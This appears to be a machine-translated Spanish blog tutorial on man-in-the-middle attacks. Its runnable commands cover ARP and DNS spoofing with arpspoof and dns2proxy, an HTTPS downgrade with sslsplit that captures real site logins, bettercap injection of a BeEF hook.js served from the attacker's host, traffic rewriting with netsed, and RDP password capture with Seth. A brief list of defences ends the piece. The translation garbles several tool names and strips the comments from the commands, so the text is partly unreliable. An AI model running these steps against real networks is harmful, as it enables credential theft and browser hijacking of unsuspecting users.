Interceptar información sensible? ¿Obtener acceso no autorizado a varias aplicaciones y sistemas? ¿Interrumpir el funcionamiento normal? Todo esto y mucho más realizan ataques como Man in the Middle.
Hoy continuamos con la serie de artículos dedicados a los ataques del "hombre en el medio" (y una serie de ataques relacionados) en protocolos y canales de transmisión típicos que se encuentran en casi cualquier compañía. Considere los niveles de mucho mayor interés para el atacante: de la red a la aplicación.
¿Interesado en? Bienvenido a cat.
Recuerda
Entonces, en el artículo anterior, nos enfocamos en ataques de suplantación de identidad en entornos cableados e inalámbricos, mostrando técnicas para monitorear solicitudes y respuestas a servidores DNS. El DNS se eligió por una razón: este es uno de los objetivos principales. Por qué Todo es simple: casi cualquier sesión ahora comienza con una solicitud de la dirección IP del host de destino en los servidores DNS.
Hoy mostraremos ataques "sobre cobre", pero por el mismo Wi-Fi prácticamente nada cambia excepto un par de matices. Omitimos la inserción en la óptica, ya que este vector de ataques es muy costoso y requiere un equipo especial.
Para empezar, estamos interesados en la intercepción "invisible" de consultas DNS.
Usaré un par de las siguientes utilidades:
DNS2Proxy (la utilidad ha existido durante muchos años, pero todavía está bastante lista para el combate) y
arpspoof (también no es joven).
Lanzamos:
# arpspoof -r 192.168.180.254 192.168.180.1 // IP – , - # python2 dns2proxy.py -u 192.168.180.253 // -u IP-, # iptables -t nat -A PREROUTING -i enp14s0 –p udp --dport 53 -j DNAT --to-destination 192.168.180.253:53
Ahora, verifiquemos cómo afecta esto a la máquina de la víctima haciendo nslookup en cualquier dominio:
Bueno, la víctima recibe la IP del host requerida por el atacante, probablemente la dirección IP local del dispositivo desde el cual se desarrolla el ataque. La captura de pantalla también muestra que el cliente cree que un servidor DNS legítimo le responde, lo que, por supuesto, es un poco incorrecto. De hecho, la funcionalidad de la utilidad DNS2Proxy es bastante amplia: puede especificar dominios específicos para la suplantación de identidad, o puede, por el contrario, suplantar todo agregando algunos a las excepciones.
Que sigue Y luego necesitamos implementar un servidor web "proxy" que construirá 2 conexiones: una es un "proxy" <> un nodo legítimo en la red, y la segunda es una víctima "proxy" <>. Utilizaremos
SSLsplit .
Lanzamos:
# sslsplit –l 2000 # iptables -t nat -A PREROUTING -i enp14s0 –p tcp -m tcp --dport 80 -j DNAT --to-destination 192.168.180.253:2000
Verificamos qué sucederá si intentamos cambiar a algún portal automotriz, por ejemplo,
drom.ru :
¡Y tenemos una conexión desprotegida! Pero con la advertencia: wwww y webmy.drom.ru se agregaron como un subdominio en lugar de my.drom.ru. Intentemos iniciar sesión, después de usar alguna utilidad para ver el tráfico de tránsito en el dispositivo del atacante.
Usaré créditos netos . Vemos lo que muestra en la consola:
Y tenemos un nombre de usuario / contraseña, ¡genial!
La pregunta probablemente surge: "¿Cuál es la diferencia con el artículo anterior?" La diferencia es que sin estas manipulaciones se crea una conexión HTTPS, lo que hace que sea casi imposible interceptar cuentas. Este es el llamado "ataque de degradación".
De todos modos, funcionará incluso con bancos y otros recursos:
Pero
NO vale la pena culpar a los bancos de que de esta manera el usuario puede ser "pirateado". ¡No pueden hacer nada aquí, porque el ataque está mucho más allá de su perímetro! ¡El banco
NO tiene la culpa! Además, todos usan 2FA, lo que reduce ligeramente el riesgo de obtener acceso.
Tenga en cuenta: de esta manera, incluso HSTS (HTTP Strict Transport Security) se omite, pero no para todos los recursos (que, creo, todos o casi todos aquí ya lo saben). Varios navegadores mantienen una lista de dominios con los que se requiere una conexión a través de TLS, y tal ataque contra ellos es impotente. El ejemplo más simple es
google.com , y la lista completa de Chromium está
aquí . Tanto Firefox como Chrome / Chromium no construirán una conexión HTTP con él, protegiendo al usuario. Sin embargo, si un atacante logra agregar de alguna manera "su" certificado autofirmado a CA raíz confiables o, peor aún, confiables, nada ayudará, simplemente porque el navegador y el sistema inicialmente los considerarán completamente legítimos y no producirán ningún error durante su procesamiento. El caso de las CA raíz de confianza es especial: esto le permitirá generar un certificado para cada dominio sobre la marcha (así es como funcionan DLP y otras herramientas de protección que generalmente analizan el tráfico), lo que le permite analizar cualquier conexión HTTPS sin problemas y notificaciones desde el navegador.
Todas las herramientas enumeradas anteriormente ya están desactualizadas, ya que usan Python2, cuyo soporte pronto cesará. Puede usar cualquier análogo, por ejemplo,
bettercap , que es un "recolector" de varias herramientas y realiza las mismas funciones enumeradas anteriormente, así como una serie de otras. El único comentario sobre su trabajo: las últimas versiones no quieren "resolver" todos los dominios de forma predeterminada, debe especificar los específicos. Sin embargo, para ataques "reales" esto es suficiente para los ojos, e incluso ayuda a no abrirse con anticipación.
¿Qué más permite MitM? Importar JS aka XSS. Y luego un amplio margen para la creatividad. Comencemos a usar una mejor tapa y
carne de res :
En bettercap incluyen:
# set arp.spoof.targets 192.168.180.254 # arp.spoof on # set http.proxy.sslstrip true # set http.proxy.injectjs http://192.168.180.253:3000/hook.js # http.proxy on
Si queremos ser implementados en páginas HTTPS, entonces también configuramos dns.proxy. Como parte de la demostración, solo administraré HTTP.
Vaya a
diary.ru y observe lo siguiente en el depurador:
Veamos cómo están las cosas en la interfaz web de carne de res:
En realidad, hemos terminado, estamos "en el navegador". Se crearon 2 sesiones, probablemente debido al hecho de que abrí otra página en segundo plano, pero esto no es un problema. Ahora puede comenzar a
crear un desastre para recopilar información, desarrollar un ataque, en algunos casos abrir un shell o simplemente el mío. Parte de la funcionalidad posible se presenta en la captura de pantalla en la tabla "Árbol de módulos". Para la prueba, ejecute el recibo de la huella digital del navegador:
Sin embargo, los desarrolladores de navegadores no son estúpidos e intentan tapar varios "agujeros" que permiten el acceso con el clic de un dedo. Por otro lado, dicho acceso puede facilitar en gran medida una mayor consolidación en el host atacado.
Pasemos al último ataque de hoy: la suplantación de datos. En general, este ataque se basa en un artículo separado, se puede usar incluso cuando se transfieren imágenes de máquinas virtuales para obtener acceso (tal vez algún día revele este tema con más detalle), pero ahora realizaremos una breve demostración, por ejemplo, en el sitio web
pasted.co , el recurso más simple, permitiendo un tiempo para proporcionar acceso a cualquier información textual. Para el ataque usamos
redes .
Lanzamos:
# netsed tcp 4000 0 0 s/Hello/HACKED/o # iptables -t nat -A PREROUTING -i enp14s0 –p tcp -m tcp --dport 80 -j DNAT --to-destination 192.168.180.253:4000 # arpspoof -r 192.168.180.254 192.168.180.1
En el nodo atacado, vaya a pasted.co, escriba nuestro 'Hola', envíelo, obtenga un enlace, ábralo y vea nuestro 'HACKED'. Un ejemplo es simple, pero creo que imaginar que, en principio, es posible implementar tal ataque no es difícil.
Algunas palabras sobre RDP y MitM
Hay una utilidad tan interesante llamada
Seth y, de hecho, es un montón de aprspoof y sslstrip, pero para RDP. La conclusión es simple: al acceder al puerto 3389, Seth actúa de manera similar a sslstrip y crea su propia conexión con el nodo de destino. El usuario ingresa las credenciales ... y usted puede terminar allí.
Lanzamos:
# ./seth.sh enp14s0 192.168.180.253 192.168.180.254 192.168.180.1
Comenzamos en el cliente RDP, nos conectamos a cualquier host RDP (me conecté al servidor fuera de la red 192.168.180.0/24) e ingresamos a la cuenta. Personalmente, después de esta etapa, detectaba un error cada vez, aunque la utilidad debería proxy la conexión, pero hizo la parte más importante del trabajo:
El rectángulo resaltado tenía una contraseña clara.
Defendernos
- Use todas las medidas indicadas en nuestro artículo anterior . ¡Realmente ayuda! Agregaré por separado la inclusión de la inspección DHCP, que nos permitirá filtrar los servidores DHCP ilegítimos, lo que puede hacer que el cliente envíe todas las solicitudes al host del atacante, evitando la suplantación de identidad.
- Si es posible, use extensiones como HTTPS en todas partes. Redirigirá automáticamente a la versión https del sitio si está incluido en su base de datos, lo que evita la degradación de HTTPS.
- Para DNS, puede usar DNS-over-TLS / DNS-over-HTTPS o DNSCrypt. Las herramientas no son perfectas, el soporte puede ser bastante doloroso, pero en algunos casos es una buena medida de protección.
- Aprenda y enseñe a familiares, amigos y colegas a prestar atención a la barra de direcciones: ¡es importante! wwww.drom.ru, las notificaciones sobre una conexión desprotegida en un recurso previamente "sin problemas" son a menudo un signo seguro de algún tipo de anomalías en la red.
Preste atención a las anomalías en las sesiones RDP: un certificado cambiado inesperadamente es una mala señal.
Eso es todo por ahora. O no? Amigos, me gustaría saber de ustedes, pero ¿están interesados en el ataque al hipervisor y la migración de máquinas? ¿O una inyección en archivos PE? Esperando sus comentarios y preguntas!